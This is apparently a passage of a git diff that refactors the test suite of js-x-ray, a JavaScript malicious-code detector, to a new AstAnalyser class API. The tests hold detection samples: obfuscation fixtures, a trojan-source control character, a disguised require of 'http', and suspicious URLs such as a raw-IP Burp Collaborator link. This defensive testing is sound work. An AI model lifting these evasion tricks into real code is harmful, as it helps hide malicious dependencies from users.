from "node:test"; import assert from "node:assert"; // Import Internal Dependencies -import { runASTAnalysis } from "../../index.js"; +import { AstAnalyser } from "../../index.js"; /** * @see https://github.com/NodeSecure/js-x-ray/issues/180 */ test("should detect required core 'http' with a LogicalExpr containing Function('return this')()", () => { - const { warnings, dependencies } = runASTAnalysis(` + const { warnings, dependencies } = new AstAnalyser().analyse(` var root = freeGlobal || freeSelf || Function('return this')(); const foo = root.require; foo("http"); diff --git a/test/issues/283-oneline-require-minified.spec.js b/test/issues/283-oneline-require-minified.spec.js index 4843168..640a16c 100644 --- a/test/issues/283-oneline-require-minified.spec.js +++ b/test/issues/283-oneline-require-minified.spec.js @@ -3,17 +3,17 @@ import { test } from "node:test"; import assert from "node:assert"; // Import Internal Dependencies -import { runASTAnalysis } from "../../index.js"; +import { AstAnalyser } from "../../index.js"; // Regression test for https://github.com/NodeSecure/js-x-ray/issues/283 test("Given a one line require (with no module.exports) then isOneLineRequire must equal true", () => { - const { isOneLineRequire } = runASTAnalysis(`require('foo.js');`); + const { isOneLineRequire } = new AstAnalyser().analyse(`require('foo.js');`); assert.ok(isOneLineRequire); }); test("Given an empty code then isOneLineRequire must equal false", () => { - const { isOneLineRequire } = runASTAnalysis(``); + const { isOneLineRequire } = new AstAnalyser().analyse(``); assert.strictEqual(isOneLineRequire, false); }); diff --git a/test/issues/59-undefined-depName.spec.js b/test/issues/59-undefined-depName.spec.js index 0afc1dd..91c0655 100644 --- a/test/issues/59-undefined-depName.spec.js +++ b/test/issues/59-undefined-depName.spec.js @@ -3,7 +3,7 @@ import { readFileSync } from "node:fs"; import { test } from "node:test"; // Import Internal Dependencies -import { runASTAnalysis } from "../../index.js"; +import { AstAnalyser } from "../../index.js"; // CONSTANTS const FIXTURE_URL = new URL("../fixtures/issues/", import.meta.url); @@ -14,5 +14,5 @@ test("it should not crash for prop-types", () => { new URL("prop-types.min.js", FIXTURE_URL), "utf-8" ); - runASTAnalysis(propTypes); + new AstAnalyser().analyse(propTypes); }); diff --git a/test/obfuscated.spec.js b/test/obfuscated.spec.js index 5b7b186..bafd3ce 100644 --- a/test/obfuscated.spec.js +++ b/test/obfuscated.spec.js @@ -5,7 +5,9 @@ import { test } from "node:test"; import assert from "node:assert"; // Import Internal Dependencies -import { runASTAnalysis, runASTAnalysisOnFile } from "../index.js"; +import { + AstAnalyser +} from "../index.js"; import { getWarningKind } from "./utils/index.js"; // CONSTANTS @@ -13,7 +15,7 @@ const FIXTURE_URL = new URL("fixtures/obfuscated/", import.meta.url); test("should detect 'jsfuck' obfuscation", () => { const trycatch = readFileSync(new URL("jsfuck.js", FIXTURE_URL), "utf-8"); - const { warnings } = runASTAnalysis(trycatch); + const { warnings } = new AstAnalyser().analyse(trycatch); assert.strictEqual(warnings.length, 1); assert.deepEqual(getWarningKind(warnings), ["obfuscated-code"].sort()); @@ -22,7 +24,7 @@ test("should detect 'jsfuck' obfuscation", () => { test("should detect 'morse' obfuscation", () => { const trycatch = readFileSync(new URL("morse.js", FIXTURE_URL), "utf-8"); - const { warnings } = runASTAnalysis(trycatch); + const { warnings } = new AstAnalyser().analyse(trycatch); assert.strictEqual(warnings.length, 1); assert.deepEqual(getWarningKind(warnings), ["obfuscated-code"].sort()); @@ -31,14 +33,14 @@ test("should detect 'morse' obfuscation", () => { test("should not detect 'morse' obfuscation", () => { const trycatch = readFileSync(new URL("notMorse.js", FIXTURE_URL), "utf-8"); - const { warnings } = runASTAnalysis(trycatch); + const { warnings } = new AstAnalyser().analyse(trycatch); assert.strictEqual(warnings.length, 0); }); test("should not detect 'morse' obfuscation for high number of doubles morse symbols", () => { const morseSymbolDoublesString = `const a = ${"'.' + '..' +".repeat(37)} '.'`; - const { warnings } = runASTAnalysis(morseSymbolDoublesString); + const { warnings } = new AstAnalyser().analyse(morseSymbolDoublesString); assert.strictEqual(warnings.length, 0); }); @@ -48,7 +50,7 @@ test("should detect 'jjencode' obfuscation", () => { new URL("jjencode.js", FIXTURE_URL), "utf-8" ); - const { warnings } = runASTAnalysis(trycatch); + const { warnings } = new AstAnalyser().analyse(trycatch); assert.strictEqual(warnings.length, 1); assert.deepEqual(getWarningKind(warnings), ["obfuscated-code"].sort()); @@ -60,7 +62,7 @@ test("should detect 'freejsobfuscator' obfuscation", () => { new URL("freejsobfuscator.js", FIXTURE_URL), "utf-8" ); - const { warnings } = runASTAnalysis(trycatch); + const { warnings } = new AstAnalyser().analyse(trycatch); assert.deepEqual(getWarningKind(warnings), [ "encoded-literal", "encoded-literal", "obfuscated-code" @@ -73,7 +75,7 @@ test("should detect 'obfuscator.io' obfuscation (with hexadecimal generator)", ( new URL("obfuscatorio-hexa.js", FIXTURE_URL), "utf-8" ); - const { warnings } = runASTAnalysis(trycatch); + const { warnings } = new AstAnalyser().analyse(trycatch); assert.strictEqual(warnings.length, 1); assert.deepEqual(getWarningKind(warnings), [ @@ -83,7 +85,7 @@ test("should detect 'obfuscator.io' obfuscation (with hexadecimal generator)", ( }); test("should not detect 'trojan-source' when providing safe control character", () => { - const { warnings } = runASTAnalysis(` + const { warnings } = new AstAnalyser().analyse(` const simpleStringWithControlCharacters = "Its only a \u0008backspace"; `); @@ -91,7 +93,7 @@ test("should not detect 'trojan-source' when providing safe control character", }); test("should detect 'trojan-source' when there is one unsafe unicode control char", () => { - const { warnings } = runASTAnalysis(` + const { warnings } = new AstAnalyser().analyse(` const role = "ROLE_ADMIN⁦" // Dangerous control char; `); @@ -100,8 +102,8 @@ test("should detect 'trojan-source' when there is one unsafe unicode control cha assert.deepEqual(warnings[0].value, "trojan-source"); }); -test("should detect 'trojan-source' when there is atleast one unsafe unicode control char", async() => { - const { warnings } = await runASTAnalysisOnFile( +test("should detect 'trojan-source' when there is atleast one unsafe unicode control char", () => { + const { warnings } = new AstAnalyser().analyseFileSync( fileURLToPath(new URL("unsafe-unicode-chars.js", FIXTURE_URL)) ); diff --git a/test/probes/isLiteral.spec.js b/test/probes/isLiteral.spec.js index b9dedf9..4863854 100644 --- a/test/probes/isLiteral.spec.js +++ b/test/probes/isLiteral.spec.js @@ -24,7 +24,6 @@ test("should throw an unsafe-import because the hexadecimal string is equal to t assert.ok(calls[0].arguments.includes("http")); }); - test("should throw an encoded-literal warning because the hexadecimal value is equal to 'require'", (t) => { const str = "const _t = globalThis['72657175697265']"; const ast = parseScript(str); @@ -89,7 +88,6 @@ test("should detect shady link when an URL is bit.ly", () => { assert.strictEqual(warning.value, "http://bit.ly/foo"); }); - test("should detect shady link when an URL has a suspicious domain", () => { const str = "const foo = 'http://foobar.link'"; const ast = parseScript(str); @@ -100,7 +98,6 @@ test("should detect shady link when an URL has a suspicious domain", () => { assert.strictEqual(warning.value, "http://foobar.link"); }); - test("should not mark suspicious links the IPv4 address range 127.0.0.0/8 (localhost 127.0.0.1)", () => { const str = "const IPv4URL = ['http://127.0.0.1/script', 'http://127.7.7.7/script']"; const ast = parseScript(str); @@ -109,7 +106,6 @@ test("should not mark suspicious links the IPv4 address range 127.0.0.0/8 (local assert.ok(!sastAnalysis.warnings().length); }); - test("should not be considered suspicious a link with a raw IPv4 address 127.0.0.1 and a port", () => { const str = "const IPv4URL = 'http://127.0.0.1:80/script'"; const ast = parseScript(str); @@ -128,7 +124,6 @@ test("should detect the link as suspicious when a URL contains a raw IPv4 addres assert.strictEqual(warning.value, "http://77.244.210.247/burpcollaborator.txt"); }); - test("should detect suspicious links when a URL contains a raw IPv4 address with port", () => { const str = "const IPv4URL = 'http://77.244.210.247:8080/script'"; const ast = parseScript(str); diff --git a/test/probes/isWeakCrypto.spec.js b/test/probes/isWeakCrypto.spec.js index 1d9c311..2f162d8 100644 --- a/test/probes/isWeakCrypto.spec.js +++ b/test/probes/isWeakCrypto.spec.js @@ -4,7 +4,7 @@ import { test } from "node:test"; import assert from "node:assert"; // Import Internal Dependencies -import { runASTAnalysis } from "../../index.js"; +import { AstAnalyser } from "../../index.js"; // Constants const FIXTURE_URL = new URL("fixtures/weakCrypto/", import.meta.url); @@ -15,7 +15,7 @@ test("it should report a warning in case of `createHash()` usage", as for (const fixtureFile of fixtureFiles) { const fixture = readFileSync(new URL(fixtureFile, fixturesDir), "utf-8"); - const { warnings: outputWarnings } = runASTAnalysis(fixture); + const { warnings: outputWarnings } = new AstAnalyser().analyse(fixture); const [firstWarning] = outputWarnings; assert.strictEqual(outputWarnings.length, 1); @@ -31,7 +31,7 @@ test("it should report a warning in case of `[expression]createHash() for (const fixtureFile of fixtureFiles) { const fixture = readFileSync(new URL(fixtureFile, fixturesDir), "utf-8"); - const { warnings: outputWarnings } = runASTAnalysis(fixture); + const { warnings: outputWarnings } = new AstAnalyser().analyse(fixture); const [firstWarning] = outputWarnings; assert.strictEqual(outputWarnings.length, 1); @@ -46,7 +46,7 @@ test("it should NOT report a warning in case of `[expression]createHash('sha256' import crypto from 'crypto'; crypto.createHash('sha256'); `; - const { warnings: outputWarnings } = runASTAnalysis(code); + const { warnings: outputWarnings } = new AstAnalyser().analyse(code); assert.strictEqual(outputWarnings.length, 0); }); @@ -58,7 +58,7 @@ test("it should NOT report a warning if crypto.createHash is not imported", () = } crypto.createHash('md5'); `; - const { warnings: outputWarnings } = runASTAnalysis(code); + const { warnings: outputWarnings } = new AstAnalyser().analyse(code); assert.strictEqual(outputWarnings.length, 0); }); diff --git a/test/runASTAnalysis.spec.js b/test/runASTAnalysis.spec.js index c9b29fa..bea68ca 100644 --- a/test/runASTAnalysis.spec.js +++ b/test/runASTAnalysis.spec.js @@ -17,10 +17,10 @@ it("should call AstAnalyser.analyse with the expected arguments", (t) => { t.mock.method(AstAnalyser.prototype, "analyse"); const source = "const http = require(\"http\");"; - runASTAnalysis(source, { module: true, removeHTMLComments: true }); + new AstAnalyser().analyse(source, { module: true, removeHTMLComments: true }); const source2 = "const fs = require(\"fs\");"; - runASTAnalysis(source2, { module: false, removeHTMLComments: false }); + new AstAnalyser().analyse(source2, { module: false, removeHTMLComments: false }); const calls = AstAnalyser.prototype.analyse.mock.calls; assert.strictEqual(calls.length, 2); @@ -33,10 +33,12 @@ it("should instantiate AstAnalyser with the expected parser", (t) => { t.mock.method(JsSourceParser.prototype, "parse"); t.mock.method(FakeSourceParser.prototype, "parse"); - runASTAnalysis("const http = require(\"http\");", { module: true, removeHTMLComments: true }); + new AstAnalyser().analyse("const http = require(\"http\");", { module: true, removeHTMLComments: true }); - runASTAnalysis("const fs = require(\"fs\");", - { module: false, removeHTMLComments: false, customParser: new FakeSourceParser() } + new AstAnalyser({ + customParser: new FakeSourceParser() + }).analyse("const fs = require(\"fs\");", + { module: false, removeHTMLComments: false } ); assert.strictEqual(JsSourceParser.prototype.parse.mock.calls.length, 1); @@ -44,14 +46,13 @@ it("should instantiate AstAnalyser with the expected parser", (t) => { }); it("should append list of probes using runASTAnalysis", () => { - const result = runASTAnalysis( - kIncriminedCodeSampleCustomProbe, + const result = new AstAnalyser( { parser: new JsSourceParser(), customProbes, skipDefaultProbes: false } - ); + ).analyse(kIncriminedCodeSampleCustomProbe); assert.equal(result.warnings[0].kind, kWarningUnsafeDanger); assert.equal(result.warnings[1].kind, kWarningUnsafeImport); @@ -60,14 +61,13 @@ it("should append list of probes using runASTAnalysis", () => { }); it("should replace list of probes using runASTAnalysis", () => { - const result = runASTAnalysis( - kIncriminedCodeSampleCustomProbe, + const result = new AstAnalyser( { parser: new JsSourceParser(), customProbes, skipDefaultProbes: true } - ); + ).analyse(kIncriminedCodeSampleCustomProbe); assert.equal(result.warnings[0].kind, kWarningUnsafeDanger); assert.equal(result.warnings.length, 1); diff --git a/test/runASTAnalysisOnFile.spec.js b/test/runASTAnalysisOnFile.spec.js index 8648836..d44f0cc 100644 --- a/test/runASTAnalysisOnFile.spec.js +++ b/test/runASTAnalysisOnFile.spec.js @@ -3,9 +3,17 @@ import { it } from "node:test"; import assert from "node:assert"; // Import Internal Dependencies -import { runASTAnalysisOnFile, AstAnalyser, JsSourceParser } from "../index.js"; +import { + AstAnalyser, + JsSourceParser +} from "../index.js"; import { FakeSourceParser } from "./fixtures/FakeSourceParser.js"; -import { customProbes, kWarningUnsafeDanger, kWarningUnsafeImport, kWarningUnsafeStmt } from "./utils/index.js"; +import { + customProbes, + kWarningUnsafeDanger, + kWarningUnsafeImport, + kWarningUnsafeStmt +} from "./utils/index.js"; // CONSTANTS const FIXTURE_URL = new URL("fixtures/searchRuntimeDependencies/", import.meta.url); @@ -14,13 +22,13 @@ it("should call AstAnalyser.analyseFile with the expected arguments", async(t) = t.mock.method(AstAnalyser.prototype, "analyseFile"); const url = new URL("depName.js", FIXTURE_URL); - await runASTAnalysisOnFile( + await new AstAnalyser().analyseFile( url, { module: false, packageName: "foobar" } ); const url2 = new URL("parsingError.js", FIXTURE_URL); - await runASTAnalysisOnFile( + await new AstAnalyser().analyseFile( url, { module: true, packageName: "foobar2" } ); @@ -36,14 +44,16 @@ it("should instantiate AstAnalyser with the expected parser", async(t) => { t.mock.method(JsSourceParser.prototype, "parse"); t.mock.method(FakeSourceParser.prototype, "parse"); - await runASTAnalysisOnFile( + await new AstAnalyser().analyseFile( new URL("depName.js", FIXTURE_URL), { module: false, packageName: "foobar" } ); - await runASTAnalysisOnFile( + await new AstAnalyser( + { customParser: new FakeSourceParser() } + ).analyseFile( new URL("parsingError.js", FIXTURE_URL), - { module: true, packageName: "foobar2", customParser: new FakeSourceParser() } + { module: true, packageName: "foobar2" } ); assert.strictEqual(JsSourceParser.prototype.parse.mock.calls.length, 1); @@ -51,14 +61,13 @@ it("should instantiate AstAnalyser with the expected parser", async(t) => { }); it("should append list of probes using runASTAnalysisOnFile", async() => { - const result = await runASTAnalysisOnFile( - new URL("customProbe.js", FIXTURE_URL), + const result = await new AstAnalyser( { parser: new JsSourceParser(), customProbes, skipDefaultProbes: false } - ); + ).analyseFile(new URL("customProbe.js", FIXTURE_URL)); assert.equal(result.warnings[0].kind, kWarningUnsafeDanger); assert.equal(result.warnings[1].kind, kWarningUnsafeImport); @@ -67,14 +76,13 @@ it("should append list of probes using runASTAnalysisOnFile", async() => { }); it("should replace list of probes using runASTAnalysisOnFile", async() => { - const result = await runASTAnalysisOnFile( - new URL("customProbe.js", FIXTURE_URL), + const result = await new AstAnalyser( { parser: new JsSourceParser(), customProbes, skipDefaultProbes: true } - ); + ).analyseFile(new URL("customProbe.js", FIXTURE_URL)); assert.equal(result.warnings[0].kind, kWarningUnsafeDanger); assert.equal(result.warnings.length, 1); diff --git a/workspaces/sec-literal/test/patterns.spec.js b/workspaces/sec-literal/test/patterns.spec.js index 748dc4f..fc1271c 100644 --- a/workspaces/sec-literal/test/patterns.spec.js +++ b/workspaces/sec-literal/test/patterns.spec.js @@ -9,28 +9,39 @@ import { commonHexadecimalPrefix } from "../src/patterns.js"; - describe("commonStringPrefix()", () => { test("must return null for two strings that have no common prefix", () => { - assert.strictEqual(commonStringPrefix("boo", "foo"), null, - "there is no common prefix between 'boo' and 'foo' so the result must be null"); + assert.strictEqual( + commonStringPrefix("boo", "foo"), + null, + "there is no common prefix between 'boo' and 'foo' so the result must be null" + ); }); test("should return the common prefix for strings with a shared prefix", () => { - assert.strictEqual(commonStringPrefix("bromance", "brother"), "bro", - "the common prefix between bromance and brother must be 'bro'."); + assert.strictEqual( + commonStringPrefix("bromance", "brother"), + "bro", + "the common prefix between bromance and brother must be 'bro'." + ); }); }); describe("commonStringSuffix()", () => { test("must return the common suffix for the two strings with a shared suffix", () => { - assert.strictEqual(commonStringSuffix("boo", "foo"), "oo", - "the common suffix between boo and foo must be 'oo'"); + assert.strictEqual( + commonStringSuffix("boo", "foo"), + "oo", + "the common suffix between boo and foo must be 'oo'" + ); }); test("must return null for two strings with no common suffix", () => { - assert.strictEqual(commonStringSuffix("bromance", "brother"), null, - "there is no common suffix between 'bromance' and 'brother' so the result must be null"); + assert.strictEqual( + commonStringSuffix("bromance", "brother"), + null, + "there is no common suffix between 'bromance' and 'brother' so the result must be null" + ); }); }); diff --git a/workspaces/sec-literal/test/utils.spec.js b/workspaces/sec-literal/test/utils.spec.js index dc0d3b6..aa4c4ad 100644 --- a/workspaces/sec-literal/test/utils.spec.js +++ b/workspaces/sec-literal/test/utils.spec.js @@ -1,5 +1,3 @@ -/* eslint-disable max-len */ - // Import Node.js Dependencies import { randomBytes } from "node:crypto"; import { test } from "node:test"; @@ -9,8 +7,11 @@ import assert from "node:assert"; import { stringCharDiversity, isSvg, isSvgPath, stringSuspicionScore } from "../src/utils.js"; test("stringCharDiversity must return the number of unique chars in a given string", () => { - assert.strictEqual(stringCharDiversity("helloo!"), 5, - "the following string 'helloo!' contains five unique chars: h, e, l, o and !"); + assert.strictEqual( + stringCharDiversity("helloo!"), + 5, + "the following string 'helloo!' contains five unique chars: h, e, l, o and !" + ); }); test("stringCharDiversity must return the number of unique chars in a given string (but with exclusions of given chars)", () => { @@ -40,7 +41,11 @@ test("isSvgPath must return true when we give a valid svg path and false when th assert.strictEqual(isSvgPath("M150 0 L75 200 L225 200 Z"), true); assert.strictEqual(isSvgPath("M150"), false, "the length of an svg path must be always higher than four characters"); assert.strictEqual(isSvgPath("hello world!"), false); - assert.strictEqual(isSvgPath(10), false, "isSvgPath argument must always return false for anything that is not a string primitive"); + assert.strictEqual( + isSvgPath(10), + false, + "isSvgPath argument must always return false for anything that is not a string primitive" + ); }); test("stringSuspicionScore must always return 0 if the string length if below 45", () => { @@ -58,7 +63,8 @@ test("stringSuspicionScore must return one if the str is between 45 and 200 char assert.strictEqual(stringSuspicionScore(randomStrWithNoSpaces), 1); }); -test("stringSuspicionScore must return zero if the str is between 45 and 200 chars and has at least one space in the first 45 chars", () => { +test(`stringSuspicionScore must return zero if the str is between 45 and 200 char + and has at least one space in the first 45 chars`, () => { const randomStrWithSpaces = randomBytes(10).toString("hex") + " -_- " + randomBytes(30).toString("hex"); assert.strictEqual(stringSuspicionScore(randomStrWithSpaces), 0);